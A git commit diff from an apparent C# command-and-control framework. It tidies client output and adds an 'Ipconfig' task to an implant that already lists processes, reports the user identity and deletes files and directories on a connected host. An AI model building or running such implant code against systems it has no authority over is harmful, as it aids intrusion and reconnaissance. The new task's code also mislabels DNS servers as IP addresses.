admin utils QA done
This commit is contained in:
parent
e0c0395024
commit
4a01c852fe
|
@ -12,15 +12,23 @@ namespace Client.Utils
|
|||
{
|
||||
StringBuilder _out = new StringBuilder();
|
||||
|
||||
var len = nameof(TeamServerAddr).Length + 25;
|
||||
|
||||
_out.AppendLine(
|
||||
"TeamServer:\n" +
|
||||
$"\t{nameof(TeamServerAddr)}:{TeamServerAddr, 25}\n" +
|
||||
$"\t{nameof(TeamServerAddr)} : {TeamServerAddr.Align(len) }\n" +
|
||||
"Implant:\n" +
|
||||
$"\t{nameof(CurrentImplant)}:{CurrentImplant, 12}\n" +
|
||||
$"\t{nameof(ImplantAddr)}:{ImplantAddr, 19}\n"+
|
||||
"Tasks:\n" +
|
||||
$"\t{nameof(TaskName)}:{TaskName, 14}\n"
|
||||
);
|
||||
$"\t{nameof(CurrentImplant)} : {CurrentImplant.Align(len)}\n" +
|
||||
$"\t{nameof(ImplantAddr)} : {ImplantAddr.Align(len)}\n"
|
||||
);
|
||||
|
||||
if (TaskName is not null)
|
||||
{
|
||||
_out.AppendLine(
|
||||
"Tasks:\n" +
|
||||
$"\t{nameof(TaskName)} : {TaskName.Align(len)}\n"
|
||||
);
|
||||
}
|
||||
|
||||
return _out.ToString();
|
||||
}
|
||||
|
|
|
@ -0,0 +1,27 @@
|
|||
using Client.Models;
|
||||
|
||||
using static Client.Models.Client;
|
||||
|
||||
namespace Client.Utils.TaskUtils.AdminUtils
|
||||
{
|
||||
class Ipconfig : Models.AdminTask
|
||||
{
|
||||
public override string TaskName => "Ipconfig";
|
||||
|
||||
public override string Desc => "Fetch data on local network interfaces";
|
||||
|
||||
public override string AdminUtilExec(string[] opts)
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
if (opts != null && !(opts.Length > 1)) { throw new AtlasException($"[*] Usage: Ipconfig\n"); }
|
||||
if (CurrentImplant is null) { throw new AtlasException("[-] No connected implant"); }
|
||||
|
||||
return TaskOps.sendAdminUtil(TaskName);
|
||||
|
||||
}
|
||||
catch (AtlasException e) { return e.Message; }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -2,7 +2,6 @@
|
|||
|
||||
using static Client.Models.Client;
|
||||
|
||||
|
||||
namespace Client.Utils.TaskUtils.AdminUtils
|
||||
{
|
||||
class Mkdir : Models.AdminTask
|
||||
|
@ -18,7 +17,7 @@ namespace Client.Utils.TaskUtils.AdminUtils
|
|||
{
|
||||
|
||||
if (opts is null) { throw new AtlasException($"[*] Usage: MkDir [newDir]\n"); }
|
||||
if (!(opts.Length == 2)) { throw new AtlasException($"[*] Usage: Mkdir [newDir]\n"); }
|
||||
if (!(opts.Length == 2)) { throw new AtlasException($"[*] Usage: MkDir [newDir]\n"); }
|
||||
if (CurrentImplant is null) { throw new AtlasException("[-] No connected implant"); }
|
||||
|
||||
newDir = opts[1];
|
||||
|
|
|
@ -2,7 +2,6 @@
|
|||
|
||||
using static Client.Models.Client;
|
||||
|
||||
|
||||
namespace Client.Utils.TaskUtils.AdminUtils
|
||||
{
|
||||
class Mkfile : Models.AdminTask
|
||||
|
@ -18,7 +17,7 @@ namespace Client.Utils.TaskUtils.AdminUtils
|
|||
{
|
||||
|
||||
if (opts is null) { throw new AtlasException($"[*] Usage: MkFile [newFile]\n"); }
|
||||
if (!(opts.Length == 2)) { throw new AtlasException($"[*] Usage: MkDir [newFile]\n"); }
|
||||
if (!(opts.Length == 2)) { throw new AtlasException($"[*] Usage: MkFile [newFile]\n"); }
|
||||
if (CurrentImplant is null) { throw new AtlasException("[-] No connected implant"); }
|
||||
|
||||
newFile = opts[1];
|
||||
|
|
|
@ -2,7 +2,6 @@
|
|||
|
||||
using static Client.Models.Client;
|
||||
|
||||
|
||||
namespace Client.Utils.TaskUtils.AdminUtils
|
||||
{
|
||||
class Ps : Models.AdminTask
|
||||
|
|
|
@ -6,7 +6,7 @@ namespace Client.Utils.TaskUtils.AdminUtils
|
|||
{
|
||||
class Rmfile : Models.AdminTask
|
||||
{
|
||||
private string targetDir { get; set; }
|
||||
private string targetFile { get; set; }
|
||||
public override string TaskName => "RmFile";
|
||||
|
||||
public override string Desc => "Removes a file";
|
||||
|
@ -16,13 +16,13 @@ namespace Client.Utils.TaskUtils.AdminUtils
|
|||
try
|
||||
{
|
||||
|
||||
if (opts is null) { throw new AtlasException($"[*] Usage: RmDir [targetDir]\n"); }
|
||||
if (!(opts.Length == 2)) { throw new AtlasException($"[*] Usage: RmDir [targetDir]\n"); }
|
||||
if (opts is null) { throw new AtlasException($"[*] Usage: RmFile [targetFile]\n"); }
|
||||
if (!(opts.Length == 2)) { throw new AtlasException($"[*] Usage: RmFile [targetFile]\n"); }
|
||||
if (CurrentImplant is null) { throw new AtlasException("[-] No connected implant"); }
|
||||
|
||||
targetDir = opts[1];
|
||||
targetFile = opts[1];
|
||||
|
||||
return TaskOps.sendAdminUtil(TaskName, targetDir);
|
||||
return TaskOps.sendAdminUtil(TaskName, targetFile);
|
||||
}
|
||||
catch (AtlasException e) { return e.Message; }
|
||||
}
|
||||
|
|
|
@ -64,6 +64,8 @@ namespace Client.Utils
|
|||
|
||||
}
|
||||
|
||||
public static string Align(this object T, int lenth) { return T.ToString().PadRight(lenth); }
|
||||
|
||||
public static void ViewOption(string option) { WriteLine($"{option}"); }
|
||||
|
||||
}
|
||||
|
|
|
@ -64,6 +64,7 @@
|
|||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Tasks\Execute\Administration\Getuid.cs" />
|
||||
<Compile Include="Tasks\Execute\Administration\Ipconfig.cs" />
|
||||
<Compile Include="Tasks\Execute\Administration\Ls.cs" />
|
||||
<Compile Include="Tasks\Execute\Administration\Mkdir.cs" />
|
||||
<Compile Include="Tasks\Execute\Administration\Mkfile.cs" />
|
||||
|
|
|
@ -29,8 +29,8 @@ namespace Implant.Tasks.Execute
|
|||
|
||||
Directory.SetCurrentDirectory(path);
|
||||
|
||||
return $"[*] Path set to {Directory.GetCurrentDirectory()}";
|
||||
} catch (DirectoryNotFoundException) { return $"{path} is not a valid path"; }
|
||||
return $"[*] Path set to {Directory.GetCurrentDirectory()}\n";
|
||||
} catch (DirectoryNotFoundException) { return $"{path} is not a valid path\n"; }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -10,7 +10,7 @@ namespace Implant.Tasks.Execute
|
|||
|
||||
public override string Execute(ImplantTask task)
|
||||
{
|
||||
return WindowsIdentity.GetCurrent().Name;
|
||||
return $"{WindowsIdentity.GetCurrent().Name}\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
using System.Text;
|
||||
using System.Net.NetworkInformation;
|
||||
|
||||
using Implant.Models;
|
||||
|
||||
namespace Implant.Tasks.Execute
|
||||
{
|
||||
class Ipconfig : ImplantCommands
|
||||
{
|
||||
public override string Name => "ipconfig";
|
||||
|
||||
public override string Execute(ImplantTask task)
|
||||
{
|
||||
StringBuilder _out = new StringBuilder();
|
||||
NetworkInterface[] interfaces = NetworkInterface.GetAllNetworkInterfaces();
|
||||
|
||||
if (interfaces == null) { return "[-] No network interfaces detected"; }
|
||||
|
||||
foreach (NetworkInterface iface in interfaces)
|
||||
{
|
||||
IPInterfaceProperties properties = iface.GetIPProperties();
|
||||
|
||||
_out.AppendLine($"{iface.Name}");
|
||||
_out.AppendLine($" {nameof(iface.NetworkInterfaceType)} : {iface.NetworkInterfaceType}");
|
||||
_out.AppendLine($" {nameof(iface.OperationalStatus)} : {iface.OperationalStatus}");
|
||||
_out.AppendLine($" {"IP Address"} : {properties.DnsAddresses[0]}");
|
||||
if (properties.GatewayAddresses.Count != 0) { _out.AppendLine($" {"Gateway Address"} : {properties.GatewayAddresses[0].Address}"); }
|
||||
if (!(iface.GetPhysicalAddress().GetAddressBytes().Length is 0)) { _out.AppendLine($" {"MAC Address"} : {iface.GetPhysicalAddress()}"); }
|
||||
_out.AppendLine();
|
||||
}
|
||||
|
||||
return _out.ToString();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -56,6 +56,7 @@ namespace Implant.Tasks.Execute
|
|||
|
||||
}
|
||||
|
||||
_out.AppendLine();
|
||||
return _out.ToString();
|
||||
}
|
||||
}
|
||||
|
@ -85,7 +86,7 @@ namespace Implant.Tasks.Execute
|
|||
}
|
||||
}
|
||||
|
||||
return maxfileNameLen;
|
||||
return maxfileNameLen + 5;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -15,8 +15,8 @@ namespace Implant.Tasks.Execute
|
|||
|
||||
Directory.CreateDirectory(dirPath);
|
||||
|
||||
if (Directory.Exists(dirPath)) { return $"[*] {dirPath} created"; }
|
||||
return $"[-] Failed to create {dirPath}";
|
||||
if (Directory.Exists(dirPath)) { return $"[*] {dirPath} created\n"; }
|
||||
return $"[-] Failed to create {dirPath}\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -15,8 +15,8 @@ namespace Implant.Tasks.Execute
|
|||
|
||||
File.Create(filePath);
|
||||
|
||||
if(File.Exists(filePath)) { return $"[*] {filePath} created"; }
|
||||
return $"[-] Failed to create {filePath}";
|
||||
if(File.Exists(filePath)) { return $"[*] {filePath} created\n"; }
|
||||
return $"[-] Failed to create {filePath}\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -34,6 +34,7 @@ namespace Implant.Tasks.Execute
|
|||
_out.AppendLine($"{proc.Id.Align(procIDLen)} {proc.ProcessName.Align(procNameLen)} {proc.SessionId.Align(procSessionIDLen)}");
|
||||
}
|
||||
|
||||
_out.AppendLine();
|
||||
return _out.ToString();
|
||||
}
|
||||
|
||||
|
|
|
@ -10,7 +10,7 @@ namespace Implant.Tasks.Execute
|
|||
|
||||
public override string Execute(ImplantTask task)
|
||||
{
|
||||
return Directory.GetCurrentDirectory();
|
||||
return $"{Directory.GetCurrentDirectory()}\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -17,10 +17,12 @@ namespace Implant.Tasks.Execute
|
|||
DirectoryInfo dirData = new DirectoryInfo(targetDir);
|
||||
|
||||
foreach(FileInfo cFile in dirData.GetFiles()) { cFile.Delete(); }
|
||||
foreach(DirectoryInfo dir in dirData.GetDirectories()) { dir.Delete(true); }
|
||||
foreach(DirectoryInfo cDir in dirData.GetDirectories()) { cDir.Delete(true); }
|
||||
|
||||
Directory.Delete(targetDir, true);
|
||||
|
||||
if(!(dirData.Exists)) { return $"[*] {targetDir} removed"; }
|
||||
return $"[-] Failed to remove {targetDir}";
|
||||
if(!(dirData.Exists)) { return $"[*] {targetDir} removed\n"; }
|
||||
return $"[-] Failed to remove {targetDir}\n";
|
||||
}
|
||||
}
|
||||
}
|
|
@ -14,8 +14,8 @@ namespace Implant.Tasks.Execute
|
|||
|
||||
File.Delete(targetFile);
|
||||
|
||||
if(!(File.Exists(targetFile))) { return $"[*] {targetFile} removed"; }
|
||||
return $"[-] Failed to remove {targetFile}";
|
||||
if(!(File.Exists(targetFile))) { return $"[*] {targetFile} removed\n"; }
|
||||
return $"[-] Failed to remove {targetFile}\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue